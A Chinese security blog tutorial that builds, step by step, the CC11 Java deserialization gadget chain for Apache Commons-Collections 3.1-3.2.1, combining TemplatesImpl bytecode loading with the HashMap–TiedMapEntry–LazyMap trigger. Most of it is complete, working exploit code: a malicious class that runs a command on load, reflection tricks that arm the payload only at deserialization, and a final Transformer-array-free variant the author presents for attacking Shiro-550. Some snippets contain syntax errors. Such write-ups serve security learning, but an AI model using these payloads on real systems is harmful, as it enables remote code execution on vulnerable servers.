Java反序列化Commons-Collections篇09-CC11链
Drunkbaby Lv6

CC11链

Java 反序列化 Commons-Collections 篇 09-CC11 链

0x01 前言

原本 CC 链子从 1-7 学完就可以了,最近木爷的博客修好了,木爷在 Shiro-550 的文章里面提及了这一条链子,就顺便自己也学一学。

  • 同样,就看 yso 的链子,看一看自己可不可以完全成功地写出 EXP 来。

0x02 环境搭建

  • CommonsCollections 3.1-3.2.1
  • jdk 版本无限制,我这里用的是 jdk8u65 的

一些细致的环境搭建可以参考我 CC 链的第一篇文章。

Java反序列化Commons-Collections篇01-CC1链

0x03 CC11 链分析

写在分析前的一些话

木头师傅说是 CC2 + CC6 的结合体,也有 qax 的一篇文章说除了 CC1-7 的链子,剩下的链子都可以通过结合产生 CC-N,这里我也把 CC2 与 CC6 的流程图放上来。

TemplatesImpl 解析与利用

在这一条小链子当中,流程图可以绘制如下。

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

对于 findClass() 方法

  • 根据名称或位置加载 .class 字节码,然后使用 defineClass,代码实例如下。
  • 通常由子类去实现
1
2
3
4
5
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

// findClass 方法的源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
class NetworkClassLoader extends ClassLoader {
String host;
int port;

public Class findClass(String name) {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}

private byte[] loadClassData(String name) {
// load the class data from the connection
}
}
// 子类的实现方式
  • defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类。

此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

现在我们的 defineClass() 方法的作用域为 protected,我们需要找到作用域为 public 的类,方便我们利用。照样 find usages

TemplatesImpl 类的 static class TransletClassLoader 中找到了我们能够运用的类。

这里的 defineClass() 方法没有标注作用域,默认为 defalut,也就是说自己的类里面可以调用,我们继续 find usages

因为作用域是 private,所以我们看一看谁调用了 defineTransletClasses() 方法

  • 这里还有一点需要注意的,_bytecodes 的值不能为 null,否则会抛出异常。

还是同一个类下的 getTransletInstance() 方法调用了 defineTransletClasses() 方法,并且这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以继续找。

  • 找到了一个 public 的方法,接下来我们开始利用。

1. 利用逻辑

在分析过程我们说到只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法,用伪代码来表示的话如下。

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer(); // 因为是一层层调用的,我们需要后续赋值
  • 如果没有一堆限制条件,我们现在的这两行代码就可以进行命令执行了。这里的限制条件指的是类似于下图的这一些。

如果此处的 _name 为 null,则后续的代码都不执行,也到不了我们调用 newInstance() 实例化的地方。

并且这里我们需要让 _classs 的值为空,才能进入调用 newInstance()

这些便是限制条件

2. 分析限制条件并编写 EXP

  • 这里的 TemplatesImpl 是可以进行序列化的,所以这里我们使用反射修改其值。

先列举一些需要我们进行赋值的属性值,用反射修改属性值。赋值这里需要”对症下药”,也就是需要什么类型的值,我们就给什么类型。

_class 的值应当为 null,我们去看 TemplatesImpl 的构造方法中没有给 _class 赋初值,所以不用管它。

_name 的值,这里需要的是 String,所以我们简单赋个 String 即可。

  • _bytecodes 这里比较难,我们过一遍。

_bytecodes 的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码。这一段伪代码可以这样写。

在写这段小 poc 之前,要先写一个 Calc.class 的恶意类并编译。

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;  

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码。

1
2
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));  
byte[][] codes = {evil};
  • _tfactory 这里比较难,我们也过一遍,这两个过完之后,写其他的就没什么问题了。

_tfactory 的值在 TemplatesImpl 这一类中被定义如下,关键字是 transient,这就导致了这个变量在序列化之后无法被访问。

1
private transient TransformerFactoryImpl _tfactory = null;

直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可,我们去看一看 _tfactory 的其他定义如何。

readObject() 方法中,找到了 _tfactory 的初始化定义。

所以这里直接在反射中将其赋值为 TransformerFactortImpl 即可,伪代码如下。

1
2
3
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
  • 最终完整的 EXP 应该如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// TemplatesImpl 的 EXP 编写
public class TemplatesImplEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

解决报错,挖 0day 的必经之路!

  • 按照道理来说,上面的 EXP 已经挺完美的了,但是在运行的时候我不但没有弹出计算器,反而还报错了。

这里报错是由于空指针报错,我们去 TemplatesImpl 下打断点调试一下。

我是在 393 行 if (_bytecodes == null) 那里打断点的。调试之后发现问题出在这儿。

  • 418 行,判断在 defineClass() 方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET 这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET 这个父类。

或者我们可以将 _auxClasse 赋值,使其不为 null。但是如果没有继承 ABSTRACT_TRANSLET 这个父类,会导致 _transletIndex 的值为 -1,在第 426 行的判断当中跳出程序。

修改完毕之后,我们的弹计算器就成功了。

前半段 CC6 链解析

后半段链子和 CC6 的链子是一样的,但我们还是来分析一遍。
尾部这里是 InvokerTransformer.transform(),所以我们从这里开始找起。

  • 去到 InvokerTransformer 下的 transform() 方法,发现确实存在命令执行的特性,我们去找一找谁调用了 transform() 方法。

发现是 LazyMap.get() 调用了 transform() 方法,参数是 factory,这个 factory 的变量我们到时候可以通过反射修改。

然后去找谁调用了 get() 方法,这里应该挺难找的,就直接跟着赛博鼠师傅的链子走,是 TiedMapEntry.getValue() 调用了 get() 方法

接着,在同个类里面找到了 hashCode() 方法调用了 getValue() 方法。这里 hashCode()toString() 应该都是可以的,因为都是广泛的函数,最后跟着链子走,具体就不分析了。具体详见Java反序列化Commons-Collections篇03-CC6链

这其实就是 CC6 的链子,我看其他师傅的文章,因为 CC2 + CC6 组成的链子能够在 Transformer[] 被禁用的时候很好的进行代码执行。

0x04 逐步编写 EXP

  • 从后往前写,一步步验证一下自己写的是否正确。

尾部 TemplatesImpl 链

首先,编写一个恶意类,然后将其放到容易找到的地方。恶意类编写如下

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;  

public class Calc {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
  • 我们 TemplatesImpl 的 Exp 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// CC2 的后半段链子 Implpublic class TemplatesImplEXP {
public static void main(String[] args) throws Exception{
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

成功弹出计算器

然后我们写 InvokerTransformer.transform() 执行 TemplatesImpl 的 EXP

因为最后一句语句 templates.newTransformer(); 是来命令执行的,先把其注释掉,逐步编写 EXP

2. 找链子

  • 根据 ysoSerial 官方的链子,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMapget() 方法。

这里先重新写一遍 LazyMap 类调用计算器的 EXP,这种 EXP 是不嫌多的,多写一写能让自己更加熟练。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class LazyMapEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(lazyMap, chainedTransformer);

}
}

链子的下一步是,TiedMapEntry 类中的 getValue() 方法调用了 LazyMapget() 方法。我们用 TiedMapEntry 写一个 EXP,确保这条链子是能用的。

  • 因为 TiedMapEntry 是作用域是 public,所以我们不需要反射获取它的方法,可以直接调用并修改。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class LazyMapEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
}
}
  • 成功弹出计算器

这里的逻辑还是很简单的,直接 new 一个 TiedMapEntry 对象,并调用它的 getValue() 方法即可,它的 getValue 方法会去调用 map.get(key) 方法。

现在我们确保了 TiedMapEntry 这一段链子的可用性,往上去找谁调用了 TiedMapEntry 中的 getValue() 方法。

  • 寻找的方法也略提一嘴,因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。

寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。

如果我们在实战里面,在链子中找到了 hashCode() 方法,说明我们的构造已经可以“半场开香槟”了,

3. 与入口类结合的整条链子

  • 前文我们说到链子已经构造到 hashCode() 这里了,这一条 hashCode() 的链子该如何构造呢?

我们去找谁调用了 hashCode() 方法,这里我就直接把答案贴出来吧,因为在 Java 反序列化当中,找到 hashCode() 之后的链子用的基本都是这一条。

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

更巧的是,这里的 HashMap 类本身就是一个非常完美的入口类

  • 如果要写一段从 HashMap.put() 开始,到 InvokerTransformer 结尾的弹计算器的 EXP,应当是这样的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class HashMapEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
}
}

这里在 42 行,也就是 HashMap<Object, Object> expMap = new HashMap<>(); 这里打断点,会发现直接 41 行就弹计算器了,不要着急,这里是一个 IDEA 的小坑,后续会讲。

OK 言归正传,在构造最终 EXP 之前我们分析一波 ~

  • HashMap 类的 put() 方法自动调用了 hashCode() 方法,我们尝试构造 EXP,结果中居然出现了一个很神奇的现象?!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11FinalEXP {
public static void main(String[] args) throws Exception{
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

我在打断点调试的时候发现当我序列化的时候,就能够弹出计算器,太奇怪了,其实这与 URLDNS 链中的情景其实是一模一样的。

4. 解决在序列化的时候就弹出计算器的问题

  • 参考 URLDNS 链中的思想,先在执行 put() 方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。

此处强烈建议师傅们去打断点好好理解一下!

我在打完断点后分析出来的原因是这样的:

与 URLDNS 中的不同,有些链子可以通过设置参数修改,有些则不行。在我们 CC6 的链子当中,通过修改这一句语句 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);,可以达到我们需要的效果。

我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory

  • 修改如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

-----------------> 变成

Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));
lazyMap.remove("key");


在执行 put 方法之后通过反射修改 Transformer 的 factory 值

// 某伪代码块
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMapClass, chainedTransformer);

最终成功的 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11FinalEXP {
public static void main(String[] args) throws Exception{
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

5. 最终不带 Transformer 数组的 CC11 链子

前面我们说的链子,还是调用了 Transformer 数组的,但是真正的 CC11 链子是可以不带Transformer 数组的,这样,我们可以通过 CC11 来打 Shiro-550 的漏洞。

本质原因如下

这个 LazyMap#get 的参数 key,会被传进transform(),实际上它可以扮演 ConstantTransformer 的角色——一个简单的对象传递者。

我们 LazyMap.get(key) 直接调用 InvokerTransfomer.transform(key),然后像CC2那样调用 TempalteImpl.newTransformer() 来完成后续调用。

我们将原本的 Transformer 数组那一行修改如下

1
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

再将后面几行的代码修改如下

1
2
3
4
5
6
7
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove(templates);

得到的最终 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// 改进版 CC11 EXPpublic class CC11BestEXP {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
// ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransformer);
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove(templates);

// 在 put 之后通过反射修改值
setFieldValue(lazyMap, "factory", invokerTransformer);

serialize(expMap);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x06 小结

作为 yso 官方当中并没有的链子,CC11 链同时也被叫做是 CC2 + CC6 链的结合体,我这里把它单独拉出来,主要是为了后续 Shiro 学习,以及很多其他反序列化的学习当中,可以将 CC11 链单独作为一个非常好用的链子来攻击。

cc11 好用的原因主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些。

0x07 参考资料

http://wjlshare.com/archives/1536
https://johnfrod.top/%e5%ae%89%e5%85%a8/monscollections3%e5%88%a9%e7%94%a8%e9%93%be%e5%88%86%e6%9e%90/

 评论